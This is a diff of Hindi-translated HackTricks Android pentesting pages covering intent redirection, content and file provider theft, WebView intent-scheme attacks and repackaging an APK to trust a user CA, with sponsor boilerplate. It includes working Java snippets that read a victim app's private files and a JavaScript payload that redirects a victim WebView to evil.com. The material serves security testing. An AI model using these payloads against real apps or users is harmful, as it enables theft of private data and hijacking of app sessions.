कर सकता है और नियमित क्रियाएं जैसे `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile` कर सकता है। ```markup ``` -उपयोगकर्ता चित्रों की चोरी का उदाहरण `AndroidManifest.xml` फ़ाइल का है। +उदाहरण: उपयोगकर्ता की तस्वीरों की चोरी `AndroidManifest.xml` फ़ाइल ```markup ``` @@ -114,17 +108,17 @@ startActivity(intent); Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1 Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image ``` -## Android फ़ाइल प्रदाता पर हमले +## Android File Provider पर हमले -यह सुरक्षा कमजोरी भी है जो हमलावर को यह संभव बनाती है कि वह **ऐप फ़ाइलें चुरा ले** जो डेवलपर द्वारा निर्धारित निर्देशिकाओं में स्थित होती हैं। सफल हमले के लिए, दुष्ट ऐप को Android फ़ाइल प्रदाता के एक्सेस अधिकार प्राप्त करने की आवश्यकता होती है और फिर Android ContentResolver का उपयोग करके फ़ाइल प्रदाता से सामग्री पढ़ने की आवश्यकता होती है। +यह कमजोरी हमलावर को **ऐप फाइलों को चुराने** की भी संभावना प्रदान करती है जो निर्देशिकाओं में स्थित होती हैं जिन्हें डेवलपर ने पहले से निर्धारित किया होता है। सफल हमले के लिए, दुर्भावनापूर्ण ऐप को **Android File Provider तक पहुँच अधिकार प्राप्त करने की आवश्यकता होती है और फिर Android ContentResolver का उपयोग करके फाइल प्रोवाइडर से सामग्री को पढ़ना होता है**। -उदाहरण फ़ाइल प्रदाता (अधिक विवरण के लिए देखें [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)) +उदाहरण फाइल प्रोवाइडर (अधिक जानकारी के लिए देखें [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)) ```markup ``` -यह ऐप संसाधनों में पाए जाने वाली एक विशेष सूची में स्थित फ़ाइलों के लिए पढ़ने/लिखने का पहुंच प्रदान करता है, इस मामले में `res/xml/provider_paths.xml` पर पाया जा सकता है। +यह एक विशेष सूची पर फाइलों के लिए पढ़ने/लिखने की पहुंच प्रदान करता है, जिसे ऐप संसाधनों में पाया जा सकता है, इस मामले में `res/xml/provider_paths.xml` में यह कुछ इस तरह दिख सकता है ```markup @@ -136,11 +130,13 @@ Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream( ``` -प्रत्येक टैग एक रूट निर्देशिका को एक `path` मान के साथ निर्दिष्ट करता है जो रूट के संबंध में होता है। उदाहरण के लिए, मान `external_files` को `new File(Environment.getExternalStorageDirectory(), "images")` से संबंधित होगा। +```markdown +प्रत्येक टैग एक मूल निर्देशिका को निर्दिष्ट करता है जिसका `path` मान मूल के सापेक्ष होता है। उदाहरण के लिए, मान `external_files` का संबंध `new File(Environment.getExternalStorageDirectory(), "images")` से होगा। -मान `root-path` को `/` के समान होता है, अर्थात् यह विचारहरू फ़ाइलों तक पहुंच प्रदान करता है। +मान `root-path` का संबंध `/` से है, अर्थात् यह मनमानी फाइलों तक पहुँच प्रदान करता है। -चलो मान लो कि हमारे पास फ़ाइल `/data/data/com.victim/databases/secret.db` में कुछ गुप्त डेटा संग्रहीत है: इस फ़ाइल की चोरी कुछ इस तरह दिख सकती है `MainActivity.java` +मान लीजिए हमारे पास कुछ गुप्त डेटा फाइल `/data/data/com.victim/databases/secret.db` में संग्रहीत है: इस फाइल की चोरी कुछ इस तरह दिख सकती है `MainActivity.java` +``` ```java Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); @@ -156,13 +152,13 @@ startActivity(intent); ```java InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server ``` -## WebView के माध्यम से अनियमित कॉम्पोनेंट्स तक पहुंच +## WebView के माध्यम से मनमाने कॉम्पोनेंट्स तक पहुँच -एक Intent ऑब्जेक्ट को `Intent.toUri(flags)` के द्वारा एक स्ट्रिंग में कास्ट किया जा सकता है और स्ट्रिंग से एक Intent में वापस किया जा सकता है `Intent.parseUri(stringUri, flags)` का उपयोग करके। यह फंक्शनालिटी अक्सर WebView (ऐप के अंदर बने ब्राउज़र) में उपयोग की जाती है: **ऐप `intent://` स्कीम को सत्यापित कर सकता है, URL को Intent में पार्स कर सकता है और एक्टिविटी को लॉन्च कर सकता है**। +Intent ऑब्जेक्ट को `Intent.toUri(flags)` कॉल के साथ एक स्ट्रिंग में कास्ट किया जा सकता है और स्ट्रिंग से वापस Intent में `Intent.parseUri(stringUri, flags)` का उपयोग करके बदला जा सकता है। यह कार्यक्षमता अक्सर WebView (ऐप का बिल्ट-इन ब्राउज़र) में उपयोग की जाती है: **ऐप `intent://` स्कीम की जांच कर सकता है, URL को Intent में पार्स कर सकता है और एक्टिविटी लॉन्च कर सकता है**। -**यह सुरक्षा कमजोरी दूसरी सुरक्षा कमजोरियों** (उदाहरण के लिए, क्लाइंट ऐप में अनियमित लिंक को WebView में सीधे निर्यात किए गए गतिविधियों के माध्यम से खोलने की क्षमता या डीपलिंक मेकेनिज़्म के माध्यम से) और दूरस्थ रूप से, सर्वर साइड पर क्रॉस-साइट स्क्रिप्टिंग या क्लाइंट साइड पर MitM के माध्यम से उपयोग किया जा सकता है। +**इस कमजोरी का शोषण अन्य कमजोरियों के माध्यम से भी किया जा सकता है** (उदाहरण के लिए, WebView में ऐप में मनमाने लिंक्स को सीधे खोलने की क्षमता निर्यात की गई एक्टिविटीज के माध्यम से या डीपलिंक मैकेनिज़्म के जरिए) क्लाइंट ऐप में और साथ ही दूरस्थ रूप से, सर्वर साइड पर क्रॉस-साइट स्क्रिप्टिंग या क्लाइंट साइड पर MitM सहित -विकल्पित कोड का उदाहरण +कमजोर कोड का उदाहरण ```java public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); @@ -173,9 +169,9 @@ return true; return super.shouldOverrideUrlLoading(view, request); } ``` -यहाँ बात यह है कि `WebViewClient` की कक्षा की `shouldOverrideUrlLoading(...)` विधि हर बार WebView एक नया लिंक लोड करने का प्रयास करता है, लेकिन ऐप्लिकेशन को एक कस्टम हैंडलर जोड़ने का विकल्प देता है। +यहाँ मुद्दा यह है कि `WebViewClient` क्लास का `shouldOverrideUrlLoading(...)` मेथड हर बार कॉल किया जाता है जब WebView एक नया लिंक लोड करने की कोशिश करता है, लेकिन ऐप को कस्टम हैंडलर जोड़ने का विकल्प देता है। -इस सुरक्षा की कमजोरी का शोषण करने के लिए हमलावार को एक WebView पुनर्निर्देशित करने की आवश्यकता होती है जो विशेष रूप से तैयार किए गए intent-scheme URL पर पुनर्निर्देशित होता है। URL निर्माण का उदाहरण +इस कमजोरी का फायदा उठाने के लिए हमलावर को एक विशेष रूप से तैयार किए गए intent-scheme URL के लिए WebView रीडायरेक्ट बनाने की आवश्यकता होती है। URL निर्माण का उदाहरण ```java Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); @@ -186,12 +182,12 @@ Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Inten ```java location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"; ``` -यह संस्करण विकुलनियता के क्लासिक संस्करण की तुलना में कई प्रतिबंध हैं: +इस संस्करण में **क्लासिक संस्करण की तुलना में कई प्रतिबंध हैं**: -* एम्बेडेड `Parcelable` और `Serializable` ऑब्जेक्ट्स को स्ट्रिंग में कास्ट नहीं किया जा सकता है (उन्हें अनदेखा कर दिया जाएगा) -* `Intent.parseUri(...)` को कॉल करते समय असुरक्षित फ्लैग `Intent.FLAG_GRANT_READ_URI_PERMISSION` और `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` को **अनदेखा** किया जाता है। पार्सर केवल उन्हें छोड़ देगा अगर `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` फ्लैग सेट होता है, जो बहुत ही दुर्लभ है। +* एम्बेडेड `Parcelable` और `Serializable` ऑब्जेक्ट्स को स्ट्रिंग में कास्ट नहीं किया जा सकता (वे अनदेखा किए जाएंगे) +* असुरक्षित फ्लैग्स `Intent.FLAG_GRANT_READ_URI_PERMISSION` और `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` को **अनदेखा** किया जाता है जब `Intent.parseUri(...)` को कॉल किया जाता है। पार्सर केवल उन्हें तभी छोड़ेगा जब `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` फ्लैग सेट होता है, जो बहुत दुर्लभ है -बहुत सारे डेवलपर अभी भी WebView के माध्यम से प्राप्त होने वाले इंटेंट्स के पूरे फ़िल्टरिंग को भूल जाते हैं। +बहुत से डेवलपर्स अभी भी WebView के माध्यम से प्राप्त intents की पूरी फिल्टरिंग करना भूल जाते हैं ```java public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); @@ -205,20 +201,20 @@ return true; return super.shouldOverrideUrlLoading(view, request); } ``` -अटैकर एक सेलेक्टर के माध्यम से एक गैर-निर्यातित कॉम्पोनेंट निर्दिष्ट कर सकता है। +हमलावर एक सिलेक्टर के माध्यम से एक नॉन-एक्सपोर्टेड कॉम्पोनेंट को निर्दिष्ट कर सकता है ```java Intent intent = new Intent(); intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity")); intent.putExtra("url", "http://evil.com/"); Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end" ``` -और ऐप के स्पष्ट इंटेंट के खिलाफ सुरक्षा को छोड़ दें। हम इसलिए सलाह देते हैं कि आप सेलेक्टर को भी फ़िल्टर करें। +और ऐप की स्पष्ट intents के खिलाफ सुरक्षा को बायपास करें। इसलिए हम सलेक्टर को भी फिल्टर करने की सिफारिश करते हैं। ```java intent.addCategory("android.intent.category.BROWSABLE"); intent.setComponent(null); intent.setSelector(null); ``` -लेकिन पूर्ण फ़िल्टरिंग भी पूर्ण सुरक्षा की गारंटी नहीं देती है, क्योंकि हमलावर किसी गैर-निर्यातित गतिविधि के `intent-filter` के लिए एक निहित इंटेंट बना सकता है। एक गतिविधि घोषणा का उदाहरण: +लेकिन पूर्ण फिल्टरिंग भी पूर्ण सुरक्षा की गारंटी नहीं देती है, क्योंकि एक हमलावर एक अस्पष्ट `intent-filter` के अनुरूप एक अनुमानित intent बना सकता है जो किसी गैर-निर्यात की गई गतिविधि के लिए हो। गतिविधि घोषणा का उदाहरण: ```markup @@ -232,11 +228,11 @@ intent.setSelector(null); ```java webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders()); ``` -इसलिए, हम सिफारिश करते हैं कि एक एक्टिविटी को शुरू किया जाने से पहले यह जांचें कि क्या वह निर्यात किया जा रहा है। +हम इसलिए सिफारिश करते हैं कि एक activity को लॉन्च करने से पहले यह जांच लें कि वह exported है या नहीं। -## असुरक्षित इंटेंट बनाने के अन्य तरीके +## असुरक्षित intents बनाने के अन्य तरीके -कुछ ऐप डेवलपर अपने **खुद के इंटेंट पार्सर** को लागू करते हैं (अक्सर **डीपलिंक्स** या पुश संदेशों को हैंडल करने के लिए), जिसमें वे डिफ़ॉल्ट से अलग नहीं होते हैं या फिर बड़ा खतरा प्रस्तुत करते हैं, क्योंकि वे **`Serializable`** और `Parcelable` ऑब्जेक्ट का विस्तार कर सकते हैं और वे असुरक्षित फ्लैग सेट करने की अनुमति भी देते हैं। सुरक्षा शोधकर्ता को इंटेंट निर्माण के और भी अनोखे संस्करणों का सामना करना पड़ सकता है, जैसे कि एक बाइट एरे को `Parcel` में कास्ट करना और फिर से उससे इंटेंट पढ़ना। +कुछ app डेवलपर्स अपने **खुद के intent parsers** को लागू करते हैं (अक्सर **deeplinks** या push संदेशों को संभालने के लिए), जैसे कि **JSON** ऑब्जेक्ट्स, स्ट्रिंग्स या बाइट ऐरेज का उपयोग करते हैं, जो या तो डिफ़ॉल्ट से अलग नहीं होते हैं या फिर बड़ा खतरा पेश करते हैं, क्योंकि वे **`Serializable`** और `Parcelable` ऑब्जेक्ट्स को विस्तारित कर सकते हैं और वे असुरक्षित flags को सेट करने की भी अनुमति देते हैं। सुरक्षा शोधकर्ता को और भी विदेशी संस्करणों का सामना करना पड़ सकता है intent निर्माण के, जैसे कि एक बाइट ऐरे को `Parcel` में कास्ट करना और फिर उससे एक intent पढ़ना ```java Uri deeplinkUri = getIntent().getData(); if(deeplinkUri.toString().startsWith("deeplink://handle/")) { @@ -246,23 +242,21 @@ parcel.unmarshall(handle, 0, handle.length); startActivity((Intent) parcel.readParcelable(getClassLoader())); } ``` -# Vuln app +# वल्न ऐप {% embed url="https://github.com/oversecured/ovaa" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**. +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 7f0fe2d34..6f7e90cef 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -1,34 +1,38 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की अनुमति चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**. +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
-वे कुछ ऐप्स होते हैं जो उपयोगकर्ता द्वारा डाउनलोड किए गए प्रमाणपत्रों को पसंद नहीं करते हैं, इसलिए कुछ ऐप्स के वेब ट्रैफ़िक की जांच करने के लिए हमें वास्तव में ऐप्लिकेशन को डीकंपाइल करना होता है और कुछ चीजें जोड़नी होती हैं और इसे पुनः कंपाइल करना होता है। +सबसे महत्वपूर्ण कमजोरियों को खोजें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय धमकी स्कैन चलाता है, और आपके पूरे टेक स्टैक में मुद्दों को खोजता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)। + +{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} + +*** + +कुछ एप्लिकेशन यूजर द्वारा डाउनलोड किए गए सर्टिफिकेट्स को पसंद नहीं करते हैं, इसलिए कुछ ऐप्स के वेब ट्रैफिक का निरीक्षण करने के लिए हमें वास्तव में एप्लिकेशन को डीकंपाइल करना पड़ता है और कुछ चीजें जोड़नी पड़ती हैं और फिर इसे रीकंपाइल करना पड़ता है। # स्वचालित -टूल [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) ऐप्लिकेशन में आवश्यक परिवर्तन स्वचालित रूप से करेगा ताकि अनुरोधों को कैप्चर करना शुरू कर सकें और प्रमाणपत्र पिनिंग (यदि कोई हो) को भी अक्षम करेगा। +टूल [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वचालित रूप से** एप्लिकेशन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और सर्टिफिकेट पिनिंग को भी अक्षम कर देगा (यदि कोई हो)। # मैनुअल -सबसे पहले हम ऐप्लिकेशन को डीकंपाइल करते हैं: `apktool d *file-name*.apk` +सबसे पहले हम ऐप को डीकंपाइल करते हैं: `apktool d *file-name*.apk` ![](../../.gitbook/assets/img9.png) -फिर हम **Manifest.xml** फ़ाइल में जाते हैं और `<\application android>` टैग के नीचे स्क्रॉल करते हैं और यदि यह पहले से ही नहीं है तो हम निम्नलिखित पंक्ति जोड़ेंगे: +फिर हम **Manifest.xml** फाइल में जाते हैं और `<\application android>` टैग के नीचे स्क्रॉल करते हैं और यदि वह पहले से नहीं है तो हम निम्नलिखित पंक्ति जोड़ने जा रहे हैं: `android:networkSecurityConfig="@xml/network_security_config` @@ -40,7 +44,7 @@ ![](../../.gitbook/assets/img11.png) -अब **res/xml** फ़ोल्डर में जाएं और निम्नलिखित सामग्री वाली एक फ़ाइल network\_security\_config.xml बनाएं/संशोधित करें: +अब **res/xml** फोल्डर में जाएं और network\_security\_config.xml नामक फाइल बनाएं/संशोधित करें जिसमें निम्नलिखित सामग्री हो: ```markup @@ -53,31 +57,29 @@ ``` -फिर, आपको फ़ाइल को सहेजना है और सभी निर्देशिकाओं से बाहर निकलना है और निम्नलिखित कमांड के साथ एपीके को पुनः निर्माण करना है: `apktool b *फ़ोल्डर-नाम/* -o *आउटपुट-फ़ाइल.apk*` +फिर फाइल को सेव करें और सभी डायरेक्टरीज से बाहर निकलें और निम्नलिखित कमांड के साथ apk को फिर से बिल्ड करें: `apktool b *folder-name/* -o *output-file.apk*` ![](../../.gitbook/assets/img12.png) -अंत में, आपको बस नई एप्लिकेशन को **साइन करना** है। [इस पृष्ठ के स्माली - डीकंपाइलिंग/\[संशोधित\]/कंपाइलिंग के इस खंड को पढ़ें और इसे साइन करना सीखें](smali-changes.md#sing-the-new-apk). +अंत में, आपको केवल **नए एप्लिकेशन को साइन करना** होगा। [इसे साइन करने के लिए इस पेज के Smali - Decompiling/\[Modifying\]/Compiling सेक्शन को पढ़ें](smali-changes.md#sing-the-new-apk)।
-विशेषताएं खोजें जो सबसे अधिक मायने रखती हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमला सतह का ट्रैक करता है, प्रोएक्टिव धारणा स्कैन चलाता है, आपकी पूरी टेक स्टैक, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक, में समस्याएं खोजता है। [**इसे आजमाएं मुफ्त में**](https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral)। +सबसे महत्वपूर्ण कमजोरियों को ढूंढें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, प्रोएक्टिव थ्रेट स्कैन चलाता है, और आपके पूरे टेक स्टैक में, APIs से लेकर वेब एप्स और क्लाउड सिस्टम्स तक, मुद्दों को ढूंढता है। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)। {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को पीडीएफ़ में डाउनलोड करने की पहुंच** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें। +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
diff --git a/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md index cce76faad..2ab042437 100644 --- a/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -1,63 +1,52 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert)! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**. +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-**[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** से कॉपी किया गया (वहां आप समाधान पा सकते हैं)** +**[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** से कॉपी किया गया (आप वहां समाधान पा सकते हैं)** ![Logo](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png) -कई बार ऐसा होता है कि आपके पास उलट-पुलट ऐप्लिकेशन होती है जो आपके द्वारा रिवर्स इंजीनियरिंग की गई उदाहरणों की तुलना में सीधी नहीं होती है। डेवलपर अपने ऐप के व्यवहार और/या अंमल को छिपाने के लिए एक या अधिक उलट-पुलट करने की तकनीक का अमल करेगा। यह निष्पक्ष और दुष्टिपूर्ण दोनों कारणों के लिए हो सकता है। +कई बार जब आप जिस एप्लिकेशन को रिवर्स कर रहे होते हैं, वह उतना सीधा नहीं होता जितना कुछ उदाहरणों में हमने चर्चा की है। डेवलपर अपने ऐप के व्यवहार और/या कार्यान्वयन को छिपाने के लिए एक या अधिक ऑब्फस्केशन तकनीकों को लागू करेगा। यह दोनों अच्छे और बुरे कारणों से हो सकता है। -उलट-पुलट करने के बारे में याद रखने की कुंजी यह है कि यदि आप इसे 